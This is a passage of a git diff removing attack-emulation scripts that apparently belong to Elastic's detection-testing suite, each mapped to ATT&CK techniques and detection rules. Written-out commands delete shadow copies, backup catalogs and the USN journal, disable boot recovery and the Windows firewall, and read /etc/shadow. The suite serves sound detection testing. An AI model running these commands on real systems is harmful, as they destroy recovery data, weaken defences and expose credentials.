use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9e85eb9f-ee9e-4c73-8a83-14dd29a5aa80", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Connection to Dynamic DNS Provider by an Unsigned Binary", - "rule_id": "75b80e66-90d0-4ab6-9e6b-976f7d690906", - } - ], - siem=[], - techniques=["T1071"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, posh) - - # Execute command - common.log("Using PowerShell to connect to a DDNS provider website") - common.execute([posh, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], timeout=10) - common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/defensive_evasion_reflective_loading.py b/rta/defensive_evasion_reflective_loading.py deleted file mode 100644 index f7a28aced..000000000 --- a/rta/defensive_evasion_reflective_loading.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b023cf4b-2856-4170-9ea0-884041904159", - platforms=["macos"], - endpoint=[ - {"rule_name": "MacOS Monterey Reflective Code Loading", "rule_id": "16fba7a9-f8f6-43ce-ae24-6a392a48e49c"} - ], - siem=[], - techniques=["T1620", "T1106"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing deletion on /private/tmp/NSCreateObjectFileImageFromMemory-test file.") - common.temporary_file_helper("testing", file_name="/private/tmp/NSCreateObjectFileImageFromMemory-test") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/defensive_evasion_safari_modification.py b/rta/defensive_evasion_safari_modification.py deleted file mode 100644 index 7ca1530e3..000000000 --- a/rta/defensive_evasion_safari_modification.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9d02871f-6338-47aa-84c4-7d622692319f", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Modification of Safari Settings via Defaults Command", - "rule_id": "396e1138-243c-4215-a8ed-be303204710d", - } - ], - siem=[ - { - "rule_name": "Modification of Safari Settings via Defaults Command", - "rule_id": "6482255d-f468-45ea-a5b3-d3a7de1331ae", - } - ], - techniques=["T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/defaults" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching commands to mimic defaults modifying safari configurations.") - common.execute([masquerade, "write", "com.apple.Safari", "JavaScript"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py deleted file mode 100644 index d4972b420..000000000 --- a/rta/delete_bootconf.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Boot Config Deletion With bcdedit -# RTA: delete_bootconf.py -# ATT&CK: T1107 -# signal.rule.name: Modification of Boot Configuration -# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot -# configuration, finally restoring the original. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="eaf71384-2e38-4970-b170-9645ccde1d2b", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "69c251fb-a5d6-4035-b5ec-40438bd829ff", "rule_name": "Modification of Boot Configuration"}], - techniques=["T1490"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Messing with the boot configuration is probably not a great idea so create a backup: - common.log("Exporting the boot configuration....") - bcdedit = "bcdedit.exe" - backup_file = Path("boot.cfg").resolve() - common.execute(["bcdedit.exe", "/export", backup_file]) - - # WARNING: this is a destructive command which might be super bad to run - common.log("Changing boot configuration", log_type="!") - common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"]) - common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"]) - - # Restore the boot configuration - common.log("Restoring boot configuration from %s" % backup_file, log_type="-") - common.execute([bcdedit, "/import", backup_file]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py deleted file mode 100644 index 266ceec9f..000000000 --- a/rta/delete_catalogs.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Catalog Deletion with wbadmin.exe -# RTA: delete_catalogs.py -# ATT&CK: T1107 -# Description: Uses wbadmin to delete the backup catalog. - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8ffd2053-c04a-435a-84b3-a8403a5395db", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "581add16-df76-42bb-af8e-c979bfb39a59", "rule_name": "Deleting Backup Catalogs with Wbadmin"}], - techniques=["T1490"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown." - common.log("WARNING: %s" % warning, log_type="!") - time.sleep(2.5) - - common.execute(["wbadmin", "delete", "catalog", "-quiet"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/delete_quarantine_attrib.py b/rta/delete_quarantine_attrib.py deleted file mode 100644 index 407d40083..000000000 --- a/rta/delete_quarantine_attrib.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d7a67c3c-eadb-4bfb-beb1-61ddd86b4b83", - platforms=["macos"], - endpoint=[ - { - "rule_id": "6e47b750-72c4-4af9-ad7b-0fc846df64d3", - "rule_name": "Quarantine Attribute Deleted via Untrusted Binary", - } - ], - siem=[], - techniques=["T1553", "T1553.001"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/bash" - masquerade2 = "/tmp/testbypass" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute commands - common.log("Launching fake delete commands to delete quarantine attribute.") - command = f"{masquerade} xattr -d com.apple.quarantine" - common.execute([masquerade2, "childprocess", command], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py deleted file mode 100644 index 7506bb695..000000000 --- a/rta/delete_usnjrnl.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: USN Journal Deletion with fsutil.exe -# RTA: delete_usnjrnl.py -# ATT&CK: T1107 -# signal.rule.name: Delete Volume USN Journal with Fsutil -# Description: Uses fsutil to delete the USN journal. - -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5d049893-b5ca-4482-a9ea-c38c6d01c171", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "f675872f-6d85-40a3-b502-c0d2ef101e92", "rule_name": "Delete Volume USN Journal with Fsutil"}], - techniques=["T1070"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - message = "Deleting the USN journal may have unintended consequences" - common.log("WARNING: %s" % message, log_type="!") - time.sleep(2.5) - common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py deleted file mode 100644 index 66d57b32e..000000000 --- a/rta/delete_volume_shadows.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Volume Shadow Copy Deletion with vssadmin and wmic -# RTA: delete_volume_shadow.py -# signal.rule.name: Volume Shadow Copy Deletion via VssAdmin -# ELastic Detection: Volume Shadow Copy Deletion via WMIC -# ATT&CK: T1107 -# Description: Uses both vssadmin.exe and wmic.exe to delete volume shadow copies. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ae6343cc-3b56-4f60-854f-7102db519ec4", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "dc9c1f74-dac3-48e3-b47f-eb79db358f57", "rule_name": "Volume Shadow Copy Deletion via WMIC"}], - techniques=["T1490"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Deleting volume shadow copies...") - common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"]) - # Create a volume shadow copy so that there is at least one to delete - common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"]) - common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/deprecated/_discovery_builtin_cmd.py b/rta/deprecated/_discovery_builtin_cmd.py deleted file mode 100644 index 33eef0abb..000000000 --- a/rta/deprecated/_discovery_builtin_cmd.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from .. import common -from .. import RtaMetadata - - -metadata = RtaMetadata( - uuid="b4454817-eea7-458d-8426-e4f529352e39", - platforms=["macos"], - endpoint=[ - {"rule_id": "92525741-9ca8-466e-acee-ceb14ab0dc34", "rule_name": "System Discovery via Built-In Utilities"} - ], - siem=[], - techniques=["T1082", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands for system discovery with builtin cmds") - common.execute([masquerade, "testhdiutil test", "test perltest -test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/deprecated/_funzip_extract_content.py b/rta/deprecated/_funzip_extract_content.py deleted file mode 100644 index ebfe8099d..000000000 --- a/rta/deprecated/_funzip_extract_content.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from .. import common -from .. import RtaMetadata - -metadata = RtaMetadata( - uuid="04361aca-0550-4134-ac21-939bf4a0582f", - platforms=["macos", "linux"], - endpoint=[ - { - "rule_id": "41f1f818-0efe-4670-a2ed-7a4c200dd621", - "rule_name": "Suspicious Content Extracted or Decompressed via Built-In Utilities", - } - ], - siem=[], - techniques=["T1059", "T1059.004", "T1027", "T1140"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake funzip commands to extract suspicious content") - common.execute([masquerade, "tail", "-c", "funzip"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/deprecated/_linux_discovery_sensitive_files.py b/rta/deprecated/_linux_discovery_sensitive_files.py deleted file mode 100644 index 60ce89377..000000000 --- a/rta/deprecated/_linux_discovery_sensitive_files.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Reading sensitive files -# RTA: linux_discovery_sensitive_files.py -# Description: Uses built-in commands for *nix operating systems to read known sensitive -# files, such as etc/shadow and etc/passwd -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata(uuid="82358d3d-6f04-42d0-a182-db37cf98294e", platforms=["linux"], endpoint=[], siem=[], techniques=[]) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Reading sensitive files", log_type="~") - - # Launch an interactive shell with redirected stdin, to simulate interactive shell access - common.execute( - "/bin/sh", - stdin=""" - cat /etc/sudoers - cat /etc/group - cat /etc/passwd - cat /etc/shadow - """, - ) - - -if __name__ == "__main__": - main() diff --git a/rta/deprecated/_persistence_code_extension.py b/rta/deprecated/_persistence_code_extension.py deleted file mode 100644 index ca591cd57..000000000 --- a/rta/deprecated/_persistence_code_extension.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from .. import common -from .. import RtaMetadata - - -metadata = RtaMetadata( - uuid="4ef86185-1a6e-4dd4-915c-d0f4281f68aa", - platforms=["macos"], - endpoint=[ - { - "rule_id": "1f207515-b56f-4d15-929e-b6c0b1bb34f2", - "rule_name": "Suspicious Manual VScode Extension Installation", - } - ], - siem=[], - techniques=["T1554"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/code" - common.create_macos_masquerade(masquerade) - - common.log("Executing code commands to load fake extension.") - common.execute([masquerade, "code", "--install-extension", "test"], timeout=10, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/deprecated/_persistence_reopened_app.py b/rta/deprecated/_persistence_reopened_app.py deleted file mode 100644 index 3bbe09893..000000000 --- a/rta/deprecated/_persistence_reopened_app.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from .. import common -from .. import RtaMetadata - - -metadata = RtaMetadata( - uuid="8a6aee3d-fa5f-41ca-83f6-d0669fc159ac", - platforms=["macos"], - endpoint=[{"rule_id": "57e9e13a-4eda-4b5f-b39a-d38c8104ab0f", "rule_name": "Re-Opened Application Persistence"}], - siem=[], - techniques=["T1547", "T1547.007"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - path = Path(f"{Path.home()}/Library/Preferences/ByHost/") - path.mkdir(exist_ok=True, parents=True) - plist = path / "com.apple.loginwindow.plist" - - common.log("Executing file modification on com.apple.loginwindow.test.plist file.") - common.execute([masquerade, "childprocess", f"echo 'test'> {plist}"], timeout=5, kill=True) - - # cleanup - common.remove_directory(str(path)) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/deprecated/_persistence_terminal_plist_mod.py b/rta/deprecated/_persistence_terminal_plist_mod.py deleted file mode 100644 index a5527f336..000000000 --- a/rta/deprecated/_persistence_terminal_plist_mod.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from .. import common -from .. import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="c01971a7-3aa6-4c43-aee6-85d48e93b8c1", - platforms=["macos"], - endpoint=[ - {"rule_id": "2ac8ec88-8549-4fcb-9697-5f53e2f78bf4", "rule_name": "Suspicious Terminal Plist Modification"} - ], - siem=[], - techniques=["T1547", "T1547.011"], -) - -plist_content = """ - - - - - Label - com.example.myapp - ProgramArguments - - bash - - RunAtLoad - - - - """ - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing plutil commands to modify plist file.") - plist = f"{Path.home()}/Library/Preferences/com.apple.Terminal.plist" - - if not Path(plist).exists(): - common.log(f"Creating plist file {plist}") - Path(plist).write_text(plist_content) - common.execute(["plutil", "-convert", "xml1", plist]) - common.execute(["plutil", "-convert", "binary1", plist]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/directory_service_plugin_file.py b/rta/directory_service_plugin_file.py deleted file mode 100644 index 6c7fbff44..000000000 --- a/rta/directory_service_plugin_file.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ff744c89-20cb-4be0-9725-2430d0be7f6a", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Persistence via DirectoryService Plugin Modification", - "rule_id": "89fa6cb7-6b53-4de2-b604-648488841ab8", - } - ], - techniques=["T1547"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on test.dsplug to mimic DirectoryService plugin modification") - common.temporary_file_helper("testing", file_name="/Library/DirectoryServices/PlugIns/test.dsplug") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/disable_os_security_updates.py b/rta/disable_os_security_updates.py deleted file mode 100644 index 2932eeba4..000000000 --- a/rta/disable_os_security_updates.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f4e4a28e-c845-4b26-bfdf-24128e73ef21", - platforms=["macos"], - endpoint=[ - {"rule_name": "Operating System Security Updates Disabled", "rule_id": "741ad90d-e8d0-4d29-b91b-3d68108cb789"} - ], - siem=[{"rule_name": "SoftwareUpdate Preferences Modification", "rule_id": "f683dcdf-a018-4801-b066-193d4ae6c8e5"}], - techniques=["T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/defaults" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands for system discovery with builtin cmds") - - # ER - common.execute( - [ - masquerade, - "write", - "-bool", - "com.apple.SoftwareUpdate", - "CriticalUpdateInstall", - "NO", - ], - timeout=10, - kill=True, - ) - - # DR - common.execute( - [masquerade, "write", "-bool", "com.apple.SoftwareUpdate", "NO"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/disable_security_controls.py b/rta/disable_security_controls.py deleted file mode 100644 index 2fc6cfcfc..000000000 --- a/rta/disable_security_controls.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4eceac28-10c3-425f-a007-c03a9b57956f", - platforms=["linux"], - endpoint=[ - { - "rule_id": "b63df89d-ac6f-44d7-80fa-ddf038295e42", - "rule_name": "Attempt to Disable Linux Security and Logging Controls", - }, - ], - siem=[], - techniques=["T1562", "T1562.001"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/systemctl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake builtin commands for disabling security controls") - command = "stop" - command1 = "apparmor" - common.execute([masquerade, command, command1], timeout=10, kill=True, shell=True) # noqa: S604 - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py deleted file mode 100644 index 15bff40d8..000000000 --- a/rta/disable_windows_fw.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Disable Windows Firewall -# RTA: disable_windows_fw.py -# ATT&CK: T1089 -# signal.rule.name: Disable Windows Firewall Rules via Netsh -# Description: Uses netsh.exe to backup, disable and restore firewall rules. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="75e14e5a-1188-47ea-9b96-2cf6e9443fc2", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "4b438734-3793-4fda-bd42-ceeada0be8f9", "rule_name": "Disable Windows Firewall Rules via Netsh"}], - techniques=["T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("NetSH Advanced Firewall Configuration", log_type="~") - netsh = "netsh.exe" - - rules_file = Path("fw.rules").resolve() - - # Check to be sure that fw.rules does not already exist from previously running this script - common.remove_file(rules_file) - - common.log("Backing up rules") - common.execute([netsh, "advfirewall", "export", rules_file]) - - common.log("Disabling the firewall") - common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"]) - - common.log("Undoing the firewall change", log_type="-") - common.execute([netsh, "advfirewall", "import", rules_file]) - - common.remove_file(rules_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/discovery_virtual_machine_grep.py b/rta/discovery_virtual_machine_grep.py deleted file mode 100644 index d32936031..000000000 --- a/rta/discovery_virtual_machine_grep.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="92407d57-e5ce-41b1-933a-7cad26158802", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Virtual Machine Fingerprinting via Grep", - "rule_id": "e5c0963c-0367-4d24-bdf2-5af3a233e57b", - } - ], - siem=[{"rule_name": "Virtual Machine Fingerprinting via Grep", "rule_id": "c85eb82c-d2c8-485c-a36f-534f914b7663"}], - techniques=["T1082", "T1497"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing egrep commands to fingerprint virtual machine.") - common.execute(["egrep", "-i", '"Manufacturer: (parallels|vmware|virtualbox)"'], shell=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dmg_create_in_tmp.py b/rta/dmg_create_in_tmp.py deleted file mode 100644 index 345818ee0..000000000 --- a/rta/dmg_create_in_tmp.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4743705e-bf41-404a-b2f3-9f8f067516e6", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious DMG File Creation in Temp Directory", - "rule_id": "fdb0e7ed-4210-4b71-be47-d0b0d9458fa7", - } - ], - siem=[], - techniques=["T1211", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - tmp_dir = Path("/tmp/TestDMGDir") - tmp_dmg = "/tmp/TestDMG.dmg" - tmp_dir.mkdir(parents=True, exist_ok=True) - - # Execute command - common.log("Launching hdiutil commands to create a dmg in tmp directory") - common.execute(["hdiutil", "create", "-size", "50m", "-volname", str(tmp_dir), "-ov", tmp_dmg], kill=True) - - # cleanup - common.remove_directory(str(tmp_dir)) - common.remove_file(tmp_dmg) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dock_plist.py b/rta/dock_plist.py deleted file mode 100644 index f6a9b9563..000000000 --- a/rta/dock_plist.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="38c81994-958f-40c8-bb6a-20bc1b93d598", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Persistence via Docker Shortcut Modification", "rule_id": "c81cefcb-82b9-4408-a533-3c3df549e62d"} - ], - techniques=["T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing file modification on com.apple.dock.plist to mimic dock plist modification") - common.temporary_file_helper("testing", file_name=f"{Path.home()}/Library/Preferences/com.apple.dock.plist") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/double_persist.py b/rta/double_persist.py deleted file mode 100644 index 65165ee82..000000000 --- a/rta/double_persist.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="74d0c16a-8af1-4dbb-9202-cc4b25208ea6", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Untrusted Process Writing to Commonly Abused Persistence Locations", - "rule_id": "392b0c89-1427-4601-8b32-01e8e40600a6", - } - ], - siem=[], - techniques=["T1547", "T1112"], -) - -EXE_FILE = common.get_path("bin", "DoublePersist.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "DoublePersist.exe" - common.copy_file(EXE_FILE, binary) - - common.execute([binary]) - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dscl_hidden_account.py b/rta/dscl_hidden_account.py deleted file mode 100644 index 3ee3fea3a..000000000 --- a/rta/dscl_hidden_account.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b084e9dd-0c79-480c-b488-049ab8167b38", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Potential Hidden Local User Account Creation", "rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5"} - ], - techniques=["T1078"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/dscl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake dscl commands to mimic creating a local hidden account.") - common.execute([masquerade, "IsHidden", "create", "true"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dseditgroup_admin_add.py b/rta/dseditgroup_admin_add.py deleted file mode 100644 index a0e579801..000000000 --- a/rta/dseditgroup_admin_add.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d5643e8a-c3f5-48a7-9f64-7255f603a24a", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Potential Admin Group Account Addition", "rule_id": "565c2b44-7a21-4818-955f-8d4737967d2e"}], - techniques=["T1078"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/dseditgroup" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake dseditgroup commands to mimic adding a user to an admin group") - common.execute([masquerade, "admin", "-append"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dsenableroot_account.py b/rta/dsenableroot_account.py deleted file mode 100644 index 271194686..000000000 --- a/rta/dsenableroot_account.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="eddbcd95-2922-46e4-b356-86d3bc8aeadc", - platforms=["macos"], - endpoint=[], - siem=[{"rule_id": "cc2fd2d0-ba3a-4939-b87f-2901764ed036", "rule_name": "Attempt to Enable the Root Account"}], - techniques=["T1078", "T1078.003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/dsenableroot" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake dsenableroot commands to mimic enabling root accounts.") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/dylib_injection.py b/rta/dylib_injection.py deleted file mode 100644 index b384f9a58..000000000 --- a/rta/dylib_injection.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import platform -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f1321e5c-101d-4b03-8f0c-6cf8bda174ec", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Collect 